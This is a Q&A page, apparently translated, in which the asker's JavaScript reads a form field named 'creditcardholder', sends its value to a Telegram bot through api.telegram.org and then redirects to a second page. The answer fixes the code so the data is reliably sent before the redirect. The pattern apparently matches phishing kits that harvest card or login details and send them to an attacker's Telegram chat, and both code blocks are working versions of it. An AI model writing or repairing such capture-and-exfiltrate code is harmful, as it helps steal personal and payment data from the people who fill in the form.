如何通过 javascript 和电报机器人 api 重定向到另一个页面

Question

I have problems redirecting the user to the next page. What happens is that after sending the form, the user is directed to the next page but does not connect me the message by Bot Telegram.

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
    
    email = document.getElementById("creditcardholder").value;
    
    message = "Email: " + email ;
};
var sender = function () {
    ready();
    var settings = {
        "async": true,
        "crossDomain": true,
        "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
        "method": "POST",
        "headers": {
            "Content-Type": "application/json",
            "cache-control": "no-cache"
        },
        "data": JSON.stringify({
            "chat_id": chat_id,
            "text": message
        })
    };
    $.ajax(settings).done(function (response) {
        console.log(response);
    });
    
    document.getElementById("creditcardholder").value = "";
    
    window.location.href = "main2.html";
    
    return false;
    
};

Answer 1

If you redirect the user before completing the AJAX request, the AJAX request will be aborted. In this modified code, the redirect occurs only after the successful completion of the AJAX request:

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
    
    email = document.getElementById("creditcardholder").value;
    
    message = "Email: " + email ;
};
var sender = function () {
    ready();
    var settings = {
        "async": true,
        "crossDomain": true,
        "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
        "method": "POST",
        "headers": {
            "Content-Type": "application/json",
            "cache-control": "no-cache"
        },
        "data": JSON.stringify({
            "chat_id": chat_id,
            "text": message
        })
    };
    $.ajax(settings).done(function (response) {
        console.log(response);
    
        window.location.href = "main2.html";
    });
    
    document.getElementById("creditcardholder").value = "";
    
    return false;
    
};